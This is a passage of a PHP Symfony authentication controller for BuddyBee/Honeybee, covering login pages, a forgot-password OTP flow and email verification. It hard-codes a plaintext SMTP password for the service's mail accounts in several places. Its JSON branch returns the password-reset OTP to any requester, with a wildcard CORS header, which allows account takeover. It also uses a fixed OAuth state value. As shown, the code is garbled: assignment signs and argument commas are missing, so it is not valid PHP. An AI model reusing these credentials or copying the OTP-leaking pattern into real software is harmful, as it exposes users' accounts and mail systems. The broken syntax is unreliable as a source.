  7780. //                        'oAuthData' => $oAuthData,
  7781. //                        'encData' => $encData,
  7782. //                        'locale' => $request->request->get('locale', 'en'),
  7783. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  7784. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  7785. //                    ]);
  7786.             }
  7787.         }
  7788.         $selector BuddybeeConstant::$selector;
  7789.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7790.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  7791.         if ($systemType == '_ERP_') {
  7792.         } else if ($systemType == '_SOPHIA_') {
  7793.             return $this->render(
  7794.                 '@Sophia/pages/views/sofia_login.html.twig',
  7795.                 [
  7796.                     'page_title' => 'Sophia Login',
  7797.                     'oAuthLink' => $google_client->createAuthUrl(),
  7798.                     'redirect_url' => $url,
  7799.                     'message' => $message,
  7800.                     'systemType' => $systemType,
  7801.                     'ownServerId' => $ownServerId,
  7802.                     'errorField' => '',
  7803.                     'encData' => $encData,
  7804.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7805.                     'selector' => $selector,
  7806.                 ]
  7807.             );
  7808.         } else if ($systemType == '_CENTRAL_') {
  7809.             return $this->render(
  7810.                 '@Authentication/pages/views/central_login.html.twig',
  7811.                 [
  7812.                     'page_title' => 'Central Login',
  7813.                     'oAuthLink' => $google_client->createAuthUrl(),
  7814.                     'redirect_url' => $url,
  7815.                     'message' => $message,
  7816.                     'systemType' => $systemType,
  7817.                     'ownServerId' => $ownServerId,
  7818.                     'errorField' => '',
  7819.                     'encData' => $encData,
  7820.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7821.                     'selector' => $selector,
  7822.                 ]
  7823.             );
  7824.         } else if ($systemType == '_BUDDYBEE_') {
  7825.             return $this->render(
  7826.                 '@Authentication/pages/views/applicant_login.html.twig',
  7827.                 [
  7828.                     'page_title' => 'BuddyBee Login',
  7829.                     'oAuthLink' => $google_client->createAuthUrl(),
  7830.                     'redirect_url' => $url,
  7831.                     'message' => $message,
  7832.                     'errorField' => $errorField,
  7833.                     'encData' => $encData,
  7834.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7835.                     'selector' => $selector
  7836.                 ]
  7837.             );
  7838.         }
  7839.         return $this->render(
  7840.             '@Authentication/pages/views/applicant_login.html.twig',
  7841.             [
  7842.                 'page_title' => 'Applicant Registration',
  7843.                 'oAuthLink' => $google_client->createAuthUrl(),
  7844.                 'redirect_url' => $url,
  7845.                 'encData' => $encData,
  7846.                 'message' => $message,
  7847.                 'errorField' => $errorField,
  7848.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  7849.                 'selector' => $selector
  7850.             ]
  7851.         );
  7852.     }
  7853.     public function FindAccountAction(Request $request$encData ''$remoteVerify 0)
  7854.     {
  7855. //        $userCategory=$request->request->has('userCategory');
  7856.         $encryptedData = [];
  7857.         $errorField '';
  7858.         $message '';
  7859.         $userType '';
  7860.         $otpExpireSecond 180;
  7861.         $otpExpireTs 0;
  7862.         $otp '';
  7863.         if ($encData != '')
  7864.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  7865. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  7866.         $userCategory '_BUDDYBEE_USER_';
  7867.         if (isset($encryptedData['userCategory']))
  7868.             $userCategory $encryptedData['userCategory'];
  7869.         else
  7870.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  7871.         $em $this->getDoctrine()->getManager('company_group');
  7872.         $em_goc $this->getDoctrine()->getManager('company_group');
  7873.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7874.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  7875.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  7876.         $twigData = [];
  7877.         $email_twig_file 'ApplicationBundle:pages/email:find_account_buddybee.html.twig';
  7878.         $email_address $request->request->get('email''');
  7879.         $email_twig_data = [];
  7880.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  7881.         if ($request->isMethod('POST')) {
  7882.             //set an otp and its expire and send mail
  7883.             $email_address $request->request->get('email');
  7884.             $userObj null;
  7885.             $userData = [];
  7886.             if ($systemType == '_ERP_') {
  7887.                 if ($userCategory == '_APPLICANT_') {
  7888.                     $userType UserConstants::USER_TYPE_APPLICANT;
  7889.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7890.                         array(
  7891.                             'email' => $email_address
  7892.                         )
  7893.                     );
  7894.                     if ($userObj) {
  7895.                     } else {
  7896.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7897.                             array(
  7898.                                 'oAuthEmail' => $email_address
  7899.                             )
  7900.                         );
  7901.                         if ($userObj) {
  7902.                         } else {
  7903.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7904.                                 array(
  7905.                                     'username' => $email_address
  7906.                                 )
  7907.                             );
  7908.                         }
  7909.                     }
  7910.                     if ($userObj) {
  7911.                         $email_address $userObj->getEmail();
  7912.                         if ($email_address == null || $email_address == '')
  7913.                             $email_address $userObj->getOAuthEmail();
  7914.                     }
  7915. //                    triggerResetPassword:
  7916. //                    type: integer
  7917. //                          nullable: true
  7918.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  7919.                     $otp $otpData['otp'];
  7920.                     $otpExpireTs $otpData['expireTs'];
  7921.                     $userObj->setOtp($otpData['otp']);
  7922.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  7923.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  7924.                     $em_goc->flush();
  7925.                     $userData = array(
  7926.                         'id' => $userObj->getApplicantId(),
  7927.                         'email' => $email_address,
  7928.                         'appId' => 0,
  7929. //                        'appId'=>$userObj->getUserAppId(),
  7930.                     );
  7931.                     $email_twig_file 'ApplicationBundle:email/templates:forgotPasswordOtp.html.twig';
  7932.                     $email_twig_data = [
  7933.                         'page_title' => 'Find Account',
  7934.                         'encryptedData' => $encryptedData,
  7935.                         'message' => $message,
  7936.                         'userType' => $userType,
  7937.                         'errorField' => $errorField,
  7938.                         'otp' => $otpData['otp'],
  7939.                         'otpExpireSecond' => $otpExpireSecond,
  7940.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  7941.                         'otpExpireTs' => $otpData['expireTs'],
  7942.                         'systemType' => $systemType,
  7943.                         'userData' => $userData
  7944.                     ];
  7945.                     if ($userObj)
  7946.                         $email_twig_data['success'] = true;
  7947.                 } else {
  7948.                     $userType UserConstants::USER_TYPE_GENERAL;
  7949.                     $email_twig_file 'ApplicationBundle:email/templates:forgotPasswordOtp.html.twig';
  7950.                     $email_twig_data = [
  7951.                         'page_title' => 'Find Account',
  7952.                         'encryptedData' => $encryptedData,
  7953.                         'message' => $message,
  7954.                         'userType' => $userType,
  7955.                         'errorField' => $errorField,
  7956.                     ];
  7957.                 }
  7958.             } else if ($systemType == '_CENTRAL_') {
  7959.                 $userType UserConstants::USER_TYPE_APPLICANT;
  7960.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7961.                     array(
  7962.                         'email' => $email_address
  7963.                     )
  7964.                 );
  7965.                 if ($userObj) {
  7966.                 } else {
  7967.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7968.                         array(
  7969.                             'oAuthEmail' => $email_address
  7970.                         )
  7971.                     );
  7972.                     if ($userObj) {
  7973.                     } else {
  7974.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7975.                             array(
  7976.                                 'username' => $email_address
  7977.                             )
  7978.                         );
  7979.                     }
  7980.                 }
  7981.                 if ($userObj) {
  7982.                     $email_address $userObj->getEmail();
  7983.                     if ($email_address == null || $email_address == '')
  7984.                         $email_address $userObj->getOAuthEmail();
  7985.                     //                    triggerResetPassword:
  7986. //                    type: integer
  7987. //                          nullable: true
  7988.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  7989.                     $otp $otpData['otp'];
  7990.                     $otpExpireTs $otpData['expireTs'];
  7991.                     $userObj->setOtp($otpData['otp']);
  7992.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  7993.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  7994.                     $em_goc->flush();
  7995.                     $userData = array(
  7996.                         'id' => $userObj->getApplicantId(),
  7997.                         'email' => $email_address,
  7998.                         'appId' => 0,
  7999.                         'image' => $userObj->getImage(),
  8000.                         'firstName' => $userObj->getFirstname(),
  8001.                         'lastName' => $userObj->getLastname(),
  8002.                         'phone' => $userObj->getPhone(),
  8003. //                        'appId'=>$userObj->getUserAppId(),
  8004.                     );
  8005.                     $email_twig_file 'ApplicationBundle:email/templates:forgotPasswordOtp.html.twig';
  8006.                     $email_twig_data = [
  8007.                         'page_title' => 'Find Account',
  8008.                         'encryptedData' => $encryptedData,
  8009.                         'message' => $message,
  8010.                         'userType' => $userType,
  8011.                         'errorField' => $errorField,
  8012.                         'otp' => $otpData['otp'],
  8013.                         'otpExpireSecond' => $otpExpireSecond,
  8014.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8015.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8016.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8017.                         'otpExpireTs' => $otpData['expireTs'],
  8018.                         'systemType' => $systemType,
  8019.                         'userCategory' => $userCategory,
  8020.                         'userData' => $userData
  8021.                     ];
  8022.                     $email_twig_data['success'] = true;
  8023.                 } else {
  8024.                     $message "Oops! Could not find your account";
  8025.                     $email_twig_data['success'] = false;
  8026.                 }
  8027.             } else if ($systemType == '_BUDDYBEE_') {
  8028.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8029.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8030.                     array(
  8031.                         'email' => $email_address
  8032.                     )
  8033.                 );
  8034.                 if ($userObj) {
  8035.                 } else {
  8036.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8037.                         array(
  8038.                             'oAuthEmail' => $email_address
  8039.                         )
  8040.                     );
  8041.                     if ($userObj) {
  8042.                     } else {
  8043.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8044.                             array(
  8045.                                 'username' => $email_address
  8046.                             )
  8047.                         );
  8048.                     }
  8049.                 }
  8050.                 if ($userObj) {
  8051.                     $email_address $userObj->getEmail();
  8052.                     if ($email_address == null || $email_address == '')
  8053.                         $email_address $userObj->getOAuthEmail();
  8054.                     //                    triggerResetPassword:
  8055. //                    type: integer
  8056. //                          nullable: true
  8057.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8058.                     $otp $otpData['otp'];
  8059.                     $otpExpireTs $otpData['expireTs'];
  8060.                     $userObj->setOtp($otpData['otp']);
  8061.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8062.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8063.                     $em_goc->flush();
  8064.                     $userData = array(
  8065.                         'id' => $userObj->getApplicantId(),
  8066.                         'email' => $email_address,
  8067.                         'appId' => 0,
  8068.                         'image' => $userObj->getImage(),
  8069.                         'firstName' => $userObj->getFirstname(),
  8070.                         'lastName' => $userObj->getLastname(),
  8071.                         'phone' => $userObj->getPhone(),
  8072. //                        'appId'=>$userObj->getUserAppId(),
  8073.                     );
  8074.                     $email_twig_file 'ApplicationBundle:email/templates:forgotPasswordOtp.html.twig';
  8075.                     $email_twig_data = [
  8076.                         'page_title' => 'Find Account',
  8077.                         'encryptedData' => $encryptedData,
  8078.                         'message' => $message,
  8079.                         'userType' => $userType,
  8080.                         'errorField' => $errorField,
  8081.                         'otp' => $otpData['otp'],
  8082.                         'otpExpireSecond' => $otpExpireSecond,
  8083.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8084.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8085.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8086.                         'otpExpireTs' => $otpData['expireTs'],
  8087.                         'systemType' => $systemType,
  8088.                         'userCategory' => $userCategory,
  8089.                         'userData' => $userData
  8090.                     ];
  8091.                     $email_twig_data['success'] = true;
  8092.                 } else {
  8093.                     $message "Oops! Could not find your account";
  8094.                     $email_twig_data['success'] = false;
  8095.                 }
  8096.             }
  8097.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  8098.                 if ($systemType == '_BUDDYBEE_') {
  8099.                     $bodyHtml '';
  8100.                     $bodyTemplate $email_twig_file;
  8101.                     $bodyData $email_twig_data;
  8102.                     $attachments = [];
  8103.                     $forwardToMailAddress $email_address;
  8104. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8105.                     $new_mail $this->get('mail_module');
  8106.                     $new_mail->sendMyMail(array(
  8107.                         'senderHash' => '_CUSTOM_',
  8108.                         //                        'senderHash'=>'_CUSTOM_',
  8109.                         'forwardToMailAddress' => $forwardToMailAddress,
  8110.                         'subject' => 'Account Verification',
  8111. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8112.                         'attachments' => $attachments,
  8113.                         'toAddress' => $forwardToMailAddress,
  8114.                         'fromAddress' => 'no-reply@buddybee.eu',
  8115.                         'userName' => 'no-reply@buddybee.eu',
  8116.                         'password' => 'Honeybee@0112',
  8117.                         'smtpServer' => 'smtp.hostinger.com',
  8118.                         'smtpPort' => 465,
  8119. //                            'emailBody' => $bodyHtml,
  8120.                         'mailTemplate' => $bodyTemplate,
  8121.                         'templateData' => $bodyData,
  8122. //                        'embedCompanyImage' => 1,
  8123. //                        'companyId' => $companyId,
  8124. //                        'companyImagePath' => $company_data->getImage()
  8125.                     ));
  8126.                 } else if ($systemType == '_CENTRAL_') {
  8127.                     $bodyHtml '';
  8128.                     $bodyTemplate $email_twig_file;
  8129.                     $bodyData $email_twig_data;
  8130.                     $attachments = [];
  8131.                     $forwardToMailAddress $email_address;
  8132. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8133.                     $new_mail $this->get('mail_module');
  8134.                     $new_mail->sendMyMail(array(
  8135.                         'senderHash' => '_CUSTOM_',
  8136.                         //                        'senderHash'=>'_CUSTOM_',
  8137.                         'forwardToMailAddress' => $forwardToMailAddress,
  8138.                         'subject' => 'Account Verification',
  8139. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8140.                         'attachments' => $attachments,
  8141.                         'toAddress' => $forwardToMailAddress,
  8142.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8143.                         'userName' => 'accounts@ourhoneybee.eu',
  8144.                         'password' => 'Honeybee@0112',
  8145.                         'smtpServer' => 'smtp.hostinger.com',
  8146.                         'smtpPort' => 465,
  8147. //                            'emailBody' => $bodyHtml,
  8148.                         'mailTemplate' => $bodyTemplate,
  8149.                         'templateData' => $bodyData,
  8150. //                        'embedCompanyImage' => 1,
  8151. //                        'companyId' => $companyId,
  8152. //                        'companyImagePath' => $company_data->getImage()
  8153.                     ));
  8154.                 } else {
  8155.                     $bodyHtml '';
  8156.                     $bodyTemplate $email_twig_file;
  8157.                     $bodyData $email_twig_data;
  8158.                     $attachments = [];
  8159.                     $forwardToMailAddress $email_address;
  8160. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8161.                     $new_mail $this->get('mail_module');
  8162.                     $new_mail->sendMyMail(array(
  8163.                         'senderHash' => '_CUSTOM_',
  8164.                         //                        'senderHash'=>'_CUSTOM_',
  8165.                         'forwardToMailAddress' => $forwardToMailAddress,
  8166.                         'subject' => 'Applicant Registration on Honeybee',
  8167. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8168.                         'attachments' => $attachments,
  8169.                         'toAddress' => $forwardToMailAddress,
  8170.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8171.                         'userName' => 'accounts@ourhoneybee.eu',
  8172.                         'password' => 'Honeybee@0112',
  8173.                         'smtpServer' => 'smtp.hostinger.com',
  8174.                         'smtpPort' => 465,
  8175.                         'emailBody' => $bodyHtml,
  8176.                         'mailTemplate' => $bodyTemplate,
  8177.                         'templateData' => $bodyData,
  8178. //                        'embedCompanyImage' => 1,
  8179. //                        'companyId' => $companyId,
  8180. //                        'companyImagePath' => $company_data->getImage()
  8181.                     ));
  8182.                 }
  8183.             }
  8184.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  8185.                 if ($systemType == '_BUDDYBEE_') {
  8186.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  8187.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  8188.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  8189.                      _APPEND_CODE_';
  8190.                     $msg str_replace($searchVal$replaceVal$msg);
  8191.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  8192.                     $sendType 'all';
  8193.                     $socketUserIds = [];
  8194.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  8195.                 } else {
  8196.                 }
  8197.             }
  8198.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8199.                 $response = new JsonResponse(array(
  8200.                         'templateData' => $twigData,
  8201.                         'message' => $message,
  8202. //                        "otp"=>'',
  8203.                         "otp" => $otp,
  8204.                         "otpExpireTs" => $otpExpireTs,
  8205.                         'actionData' => $email_twig_data,
  8206.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8207.                     )
  8208.                 );
  8209.                 $response->headers->set('Access-Control-Allow-Origin''*');
  8210.                 return $response;
  8211.             } else if ($email_twig_data['success'] == true) {
  8212.                 $encData = array(
  8213.                     "userType" => $userType,
  8214.                     "otp" => '',
  8215. //                "otp"=>$otp,
  8216.                     "otpExpireTs" => $otpExpireTs,
  8217.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8218.                     "userCategory" => $userCategory,
  8219.                     "userId" => $userData['id'],
  8220.                     "systemType" => $systemType,
  8221.                     "email" => $email_address,
  8222.                 );
  8223.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  8224.                 $url $this->generateUrl(
  8225.                     'verify_otp'
  8226.                 );
  8227.                 return $this->redirect($url "/" $encDataStr);
  8228. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  8229. ////                    'encData'
  8230. ////                'id' => $isApplicantExist->getApplicantId(),
  8231. ////                'oAuthData' => $oAuthData,
  8232. ////                'refRoute' => $refRoute,
  8233. //                ]);
  8234.             }
  8235.         }
  8236.         if ($systemType == '_ERP_') {
  8237.             if ($userCategory == '_APPLICANT_') {
  8238.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8239.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8240.                 $twigData = [
  8241.                     'page_title' => 'Find Account',
  8242.                     'encryptedData' => $encryptedData,
  8243.                     'message' => $message,
  8244.                     'systemType' => $systemType,
  8245.                     'ownServerId' => $ownServerId,
  8246.                     'userType' => $userType,
  8247.                     'errorField' => $errorField,
  8248.                 ];
  8249.             } else {
  8250.                 $userType UserConstants::USER_TYPE_GENERAL;
  8251.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8252.                 $twigData = [
  8253.                     'page_title' => 'Find Account',
  8254.                     'encryptedData' => $encryptedData,
  8255.                     'systemType' => $systemType,
  8256.                     'ownServerId' => $ownServerId,
  8257.                     'message' => $message,
  8258.                     'userType' => $userType,
  8259.                     'errorField' => $errorField,
  8260.                 ];
  8261.             }
  8262.         } else if ($systemType == '_CENTRAL_') {
  8263.             $userType UserConstants::USER_TYPE_APPLICANT;
  8264.             $twig_file '@HoneybeeWeb/pages/find_account.html.twig';
  8265.             $twigData = [
  8266.                 'page_title' => 'Find Account',
  8267.                 'encryptedData' => $encryptedData,
  8268.                 'systemType' => $systemType,
  8269.                 'ownServerId' => $ownServerId,
  8270.                 "otp" => '',
  8271. //                "otp"=>$otp,
  8272.                 "otpExpireTs" => $otpExpireTs,
  8273.                 'message' => $message,
  8274.                 'userType' => $userType,
  8275.                 'errorField' => $errorField,
  8276.             ];
  8277.         } else if ($systemType == '_BUDDYBEE_') {
  8278.             $userType UserConstants::USER_TYPE_APPLICANT;
  8279.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8280.             $twigData = [
  8281.                 'page_title' => 'Find Account',
  8282.                 'encryptedData' => $encryptedData,
  8283.                 "otp" => '',
  8284.                 'systemType' => $systemType,
  8285.                 'ownServerId' => $ownServerId,
  8286. //                "otp"=>$otp,
  8287.                 "otpExpireTs" => $otpExpireTs,
  8288.                 'message' => $message,
  8289.                 'userType' => $userType,
  8290.                 'errorField' => $errorField,
  8291.             ];
  8292.         }
  8293.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8294.             $response = new JsonResponse(array(
  8295.                     'templateData' => $twigData,
  8296.                     'message' => $message,
  8297.                     "otp" => '',
  8298. //                "otp"=>$otp,
  8299.                     "otpExpireTs" => $otpExpireTs,
  8300.                     'actionData' => $email_twig_data,
  8301.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8302.                 )
  8303.             );
  8304.             $response->headers->set('Access-Control-Allow-Origin''*');
  8305.             return $response;
  8306.         } else {
  8307.             return $this->render(
  8308.                 $twig_file,
  8309.                 $twigData
  8310.             );
  8311.         }
  8312.     }
  8313.     public function VerifyEmailForWebAction(Request $request$encData ''$remoteVerify 0)
  8314.     {
  8315. //        $userCategory=$request->request->has('userCategory');
  8316.         $encryptedData = [];
  8317.         $errorField '';
  8318.         $message '';
  8319.         $userType '';
  8320.         $otpExpireSecond 180;
  8321.         $otpExpireTs 0;
  8322.         $otp '';
  8323.         if ($encData != '')
  8324.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  8325. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  8326.         $userCategory '_BUDDYBEE_USER_';
  8327.         if (isset($encryptedData['userCategory']))
  8328.             $userCategory $encryptedData['userCategory'];
  8329.         else
  8330.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  8331.         $em $this->getDoctrine()->getManager('company_group');
  8332.         $em_goc $this->getDoctrine()->getManager('company_group');
  8333.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  8334.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  8335.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8336.         $twigData = [];
  8337.         $email_twig_file 'ApplicationBundle:pages/email:find_account_buddybee.html.twig';
  8338.         $email_address $request->request->get('email''');
  8339.         $email_twig_data = [];
  8340.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  8341.         if ($request->isMethod('POST')) {
  8342.             //set an otp and its expire and send mail
  8343.             $email_address $request->request->get('email');
  8344.             $userObj null;
  8345.             $userData = [];
  8346.             if ($systemType == '_ERP_') {
  8347.                 if ($userCategory == '_APPLICANT_') {
  8348.                     $userType UserConstants::USER_TYPE_APPLICANT;
  8349.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8350.                         array(
  8351.                             'email' => $email_address
  8352.                         )
  8353.                     );
  8354.                     if ($userObj) {
  8355.                     } else {
  8356.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8357.                             array(
  8358.                                 'oAuthEmail' => $email_address
  8359.                             )
  8360.                         );
  8361.                         if ($userObj) {
  8362.                         } else {
  8363.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8364.                                 array(
  8365.                                     'username' => $email_address
  8366.                                 )
  8367.                             );
  8368.                         }
  8369.                     }
  8370.                     if ($userObj) {
  8371.                         $email_address $userObj->getEmail();
  8372.                         if ($email_address == null || $email_address == '')
  8373.                             $email_address $userObj->getOAuthEmail();
  8374.                     }
  8375. //                    triggerResetPassword:
  8376. //                    type: integer
  8377. //                          nullable: true
  8378.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8379.                     $otp $otpData['otp'];
  8380.                     $otpExpireTs $otpData['expireTs'];
  8381.                     $userObj->setOtp($otpData['otp']);
  8382.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_CONFIRM_EMAIL);
  8383.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8384.                     $em_goc->flush();
  8385.                     $userData = array(
  8386.                         'id' => $userObj->getApplicantId(),
  8387.                         'email' => $email_address,
  8388.                         'appId' => 0,
  8389. //                        'appId'=>$userObj->getUserAppId(),
  8390.                     );
  8391.                     $email_twig_file 'ApplicationBundle:email/templates:forgotPasswordOtp.html.twig';
  8392.                     $email_twig_data = [
  8393.                         'page_title' => 'Find Account',
  8394.                         'encryptedData' => $encryptedData,
  8395.                         'message' => $message,
  8396.                         'userType' => $userType,
  8397.                         'errorField' => $errorField,
  8398.                         'otp' => $otpData['otp'],
  8399.                         'otpExpireSecond' => $otpExpireSecond,
  8400.                         'otpActionId' => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8401.                         'otpExpireTs' => $otpData['expireTs'],
  8402.                         'systemType' => $systemType,
  8403.                         'userData' => $userData
  8404.                     ];
  8405.                     if ($userObj)
  8406.                         $email_twig_data['success'] = true;
  8407.                 } else {
  8408.                     $userType UserConstants::USER_TYPE_GENERAL;
  8409.                     $email_twig_file 'ApplicationBundle:email/templates:forgotPasswordOtp.html.twig';
  8410.                     $email_twig_data = [
  8411.                         'page_title' => 'Find Account',
  8412.                         'encryptedData' => $encryptedData,
  8413.                         'message' => $message,
  8414.                         'userType' => $userType,
  8415.                         'errorField' => $errorField,
  8416.                     ];
  8417.                 }
  8418.             } else if ($systemType == '_CENTRAL_') {
  8419.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8420.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8421.                     array(
  8422.                         'email' => $email_address
  8423.                     )
  8424.                 );
  8425.                 if ($userObj) {
  8426.                 } else {
  8427.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8428.                         array(
  8429.                             'oAuthEmail' => $email_address
  8430.                         )
  8431.                     );
  8432.                     if ($userObj) {
  8433.                     } else {
  8434.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8435.                             array(
  8436.                                 'username' => $email_address
  8437.                             )
  8438.                         );
  8439.                     }
  8440.                 }
  8441.                 if ($userObj) {
  8442.                     $email_address $userObj->getEmail();
  8443.                     if ($email_address == null || $email_address == '')
  8444.                         $email_address $userObj->getOAuthEmail();
  8445.                     //                    triggerResetPassword:
  8446. //                    type: integer
  8447. //                          nullable: true
  8448.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8449.                     $otp $otpData['otp'];
  8450.                     $otpExpireTs $otpData['expireTs'];
  8451.                     $userObj->setOtp($otpData['otp']);
  8452.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_CONFIRM_EMAIL);
  8453.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8454.                     $em_goc->flush();
  8455.                     $userData = array(
  8456.                         'id' => $userObj->getApplicantId(),
  8457.                         'email' => $email_address,
  8458.                         'appId' => 0,
  8459.                         'image' => $userObj->getImage(),
  8460.                         'firstName' => $userObj->getFirstname(),
  8461.                         'lastName' => $userObj->getLastname(),
  8462.                         'phone' => $userObj->getPhone(),
  8463. //                        'appId'=>$userObj->getUserAppId(),
  8464.                     );
  8465.                     $email_twig_file 'ApplicationBundle:email/templates:forgotPasswordOtp.html.twig';
  8466.                     $email_twig_data = [
  8467.                         'page_title' => 'Find Account',
  8468.                         'encryptedData' => $encryptedData,
  8469.                         'message' => $message,
  8470.                         'userType' => $userType,
  8471.                         'errorField' => $errorField,
  8472.                         'otp' => $otpData['otp'],
  8473.                         'otpExpireSecond' => $otpExpireSecond,
  8474.                         'otpActionId' => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8475.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_CONFIRM_EMAIL]['actionTitle'],
  8476.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_CONFIRM_EMAIL]['actionDescForMail'],
  8477.                         'otpExpireTs' => $otpData['expireTs'],
